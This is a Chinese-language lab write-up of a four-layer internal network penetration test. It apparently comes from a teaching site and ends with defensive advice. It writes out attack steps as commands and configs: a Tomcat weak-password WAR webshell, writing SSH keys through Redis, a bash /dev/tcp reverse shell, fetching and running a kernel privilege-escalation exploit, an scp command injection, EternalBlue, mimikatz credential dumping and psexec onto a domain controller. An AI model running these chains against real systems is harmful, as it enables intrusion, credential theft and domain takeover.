记一次四层内网攻防渗透测试大实验
字数 1841 2025-08-24 10:10:13

四层内网攻防渗透测试实战教学文档

一、实验环境概述

本次渗透测试实验涉及四层内网环境,从外网Web服务器逐步深入,最终获取域控权限。主要网络拓扑如下:

  • 外网层:Kali攻击机 (192.168.1.128)
  • 第一层:Web服务器 (192.168.1.129)
  • 第二层:内网服务器 (192.168.52.10/20)
  • 第三层:内网服务器 (192.168.71.10/20)
  • 第四层:域环境 (192.168.93.30/40)

二、渗透测试详细步骤

1. 信息收集阶段

1.1 基础探测

ping 192.168.1.129  # ICMP探测目标存活
nmap -T4 -sC -sV -p 1-10000 192.168.1.129  # 全面端口扫描

发现开放端口:

  • 22 (SSH)
  • 80 (HTTP)
  • 81 (HTTP)
  • 6379 (Redis)

1.2 Web目录爆破

python3 dirsearch.py -u "http://192.168.1.129" -e *

发现关键路径:/manager/html (Tomcat管理后台)

1.3 漏洞发现

  • Tomcat弱口令:tomcat:tomcat
  • Redis未授权访问

2. Tomcat后台GetShell

2.1 弱口令爆破

使用Burp Suite对Tomcat管理后台进行爆破:

  1. 抓取登录包
  2. 设置Authorization头为payload变量
  3. 使用Custom iterator模式组合payload

2.2 上传War木马

  1. 使用哥斯拉生成JSP马:
<%! String xc = "3c6e0b8a9c15224a"; String pass = "pass";... %>
  1. 打包为WAR文件:
./jar.exe cvf shell.war shell.jsp
  1. 通过Tomcat管理界面上传部署

2.3 连接WebShell

使用哥斯拉v4.1连接:

  • URL: http://192.168.1.129/shell/shell.jsp
  • 密码: pass

3. Redis未授权访问利用

3.1 写入SSH公钥

  1. 生成SSH密钥对:
ssh-keygen -t rsa
  1. 准备公钥文件:
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt
  1. 写入Redis:
cat 1.txt | redis-cli -h 192.168.1.129 -p 6379 -x set hello
  1. 设置Redis保存路径:
redis-cli -h 192.168.1.129
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
  1. SSH连接:
ssh 192.168.1.129

4. 内网横向移动

4.1 发现内网结构

在192.168.1.129上发现:

  • 内网IP: 192.168.52.10
  • Nginx反向代理配置:
    • 80端口 → 192.168.52.20:8080
    • 81端口 → 192.168.52.20:8000

4.2 反弹Shell

由于目标不出网,通过Web1跳板反弹:

# 在Web1监听
nc -lvp 1234

# 在Tomcat执行
bash -c "bash -i >& /dev/tcp/192.168.52.10/1234 0>&1"

5. 提权操作(CVE-2021-3493)

适用于Ubuntu 18.04 LTS等版本

  1. 下载exp:
wget https://github.com/briskets/CVE-2021-3493/raw/main/exploit.c
  1. 编译执行:
gcc exploit.c -o exploit
chmod +x exploit
./exploit

6. 多层隧道搭建

6.1 第一层代理(Kali ↔ Web1)

服务端(Kali) frps.ini:

[common]
bind_addr = 0.0.0.0
bind_port = 7000

客户端(Web1) frpc.ini:

[common]
server_addr = 192.168.1.128
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5

6.2 第二层代理(Web1 ↔ Web2)

配置类似,使用内网IP 192.168.52.10

6.3 proxychains配置

socks5 192.168.1.128 7777
socks5 192.168.52.10 7777

7. OpenSSH命令注入(CVE-2020-15778)

7.1 漏洞利用

  1. 发现192.168.71.20存在弱口令cs/123
  2. 通过scp注入命令:
scp /test.txt cs@192.168.71.20:'`touch /tmp/test.sh`/tmp'

7.2 建立第三层代理

配置类似前两层,使用192.168.71.10作为服务端

8. 内网主机扫描

8.1 扫描第四层网络

proxychains nmap -Pn -sT -sV -F -O 192.168.93.1/24

发现:

  • DC: 192.168.93.30 (域控)
  • PC2: 192.168.93.40 (Win7)

8.2 永恒之蓝利用(MS17-010)

proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
exploit

9. 域渗透

9.1 信息收集

net user /domain
net group "domain admins" /domain
ipconfig /all
systeminfo

9.2 抓取域凭据

使用kiwi模块:

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

获取:

  • 域用户: moretz/Moretz2021
  • 域管理员: administrator/Whoami2021

9.3 Zerologon漏洞利用(CVE-2020-1472)

  1. 验证漏洞:
proxychains python3 zerologon_tester.py DC 192.168.93.30
  1. 使用psexec登录域控:
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
run

三、关键知识点总结

  1. 信息收集:端口扫描、目录爆破、服务识别

  2. 漏洞利用

    • Tomcat弱口令+war部署
    • Redis未授权访问
    • Linux内核提权(CVE-2021-3493)
    • OpenSSH命令注入(CVE-2020-15778)
    • 永恒之蓝(MS17-010)
    • Zerologon(CVE-2020-1472)
  3. 内网穿透

    • FRP多层代理搭建
    • Proxychains配置
  4. 域渗透

    • 凭据抓取
    • 域信息收集
    • 域控攻击

四、防御建议

  1. 禁用不必要的服务(如Redis、Tomcat管理界面)
  2. 使用强密码策略
  3. 及时更新系统和补丁
  4. 限制SSH和SMB等服务的访问
  5. 配置网络隔离和防火墙规则
  6. 监控异常登录行为

五、参考工具

  1. Nmap - 端口扫描
  2. Dirsearch - 目录爆破
  3. 哥斯拉 - WebShell管理
  4. FRP - 内网穿透
  5. Metasploit - 漏洞利用框架
  6. Proxychains - 代理链工具
四层内网攻防渗透测试实战教学文档 一、实验环境概述 本次渗透测试实验涉及四层内网环境,从外网Web服务器逐步深入,最终获取域控权限。主要网络拓扑如下: 外网层:Kali攻击机 (192.168.1.128) 第一层:Web服务器 (192.168.1.129) 第二层:内网服务器 (192.168.52.10/20) 第三层:内网服务器 (192.168.71.10/20) 第四层:域环境 (192.168.93.30/40) 二、渗透测试详细步骤 1. 信息收集阶段 1.1 基础探测 发现开放端口: 22 (SSH) 80 (HTTP) 81 (HTTP) 6379 (Redis) 1.2 Web目录爆破 发现关键路径: /manager/html (Tomcat管理后台) 1.3 漏洞发现 Tomcat弱口令:tomcat:tomcat Redis未授权访问 2. Tomcat后台GetShell 2.1 弱口令爆破 使用Burp Suite对Tomcat管理后台进行爆破: 抓取登录包 设置Authorization头为payload变量 使用Custom iterator模式组合payload 2.2 上传War木马 使用哥斯拉生成JSP马: 打包为WAR文件: 通过Tomcat管理界面上传部署 2.3 连接WebShell 使用哥斯拉v4.1连接: URL: http://192.168.1.129/shell/shell.jsp 密码: pass 3. Redis未授权访问利用 3.1 写入SSH公钥 生成SSH密钥对: 准备公钥文件: 写入Redis: 设置Redis保存路径: SSH连接: 4. 内网横向移动 4.1 发现内网结构 在192.168.1.129上发现: 内网IP: 192.168.52.10 Nginx反向代理配置: 80端口 → 192.168.52.20:8080 81端口 → 192.168.52.20:8000 4.2 反弹Shell 由于目标不出网,通过Web1跳板反弹: 5. 提权操作(CVE-2021-3493) 适用于Ubuntu 18.04 LTS等版本 下载exp: 编译执行: 6. 多层隧道搭建 6.1 第一层代理(Kali ↔ Web1) 服务端(Kali) frps.ini : 客户端(Web1) frpc.ini : 6.2 第二层代理(Web1 ↔ Web2) 配置类似,使用内网IP 192.168.52.10 6.3 proxychains配置 7. OpenSSH命令注入(CVE-2020-15778) 7.1 漏洞利用 发现192.168.71.20存在弱口令cs/123 通过scp注入命令: 7.2 建立第三层代理 配置类似前两层,使用192.168.71.10作为服务端 8. 内网主机扫描 8.1 扫描第四层网络 发现: DC: 192.168.93.30 (域控) PC2: 192.168.93.40 (Win7) 8.2 永恒之蓝利用(MS17-010) 9. 域渗透 9.1 信息收集 9.2 抓取域凭据 使用kiwi模块: 获取: 域用户: moretz/Moretz2021 域管理员: administrator/Whoami2021 9.3 Zerologon漏洞利用(CVE-2020-1472) 验证漏洞: 使用psexec登录域控: 三、关键知识点总结 信息收集 :端口扫描、目录爆破、服务识别 漏洞利用 : Tomcat弱口令+war部署 Redis未授权访问 Linux内核提权(CVE-2021-3493) OpenSSH命令注入(CVE-2020-15778) 永恒之蓝(MS17-010) Zerologon(CVE-2020-1472) 内网穿透 : FRP多层代理搭建 Proxychains配置 域渗透 : 凭据抓取 域信息收集 域控攻击 四、防御建议 禁用不必要的服务(如Redis、Tomcat管理界面) 使用强密码策略 及时更新系统和补丁 限制SSH和SMB等服务的访问 配置网络隔离和防火墙规则 监控异常登录行为 五、参考工具 Nmap - 端口扫描 Dirsearch - 目录爆破 哥斯拉 - WebShell管理 FRP - 内网穿透 Metasploit - 漏洞利用框架 Proxychains - 代理链工具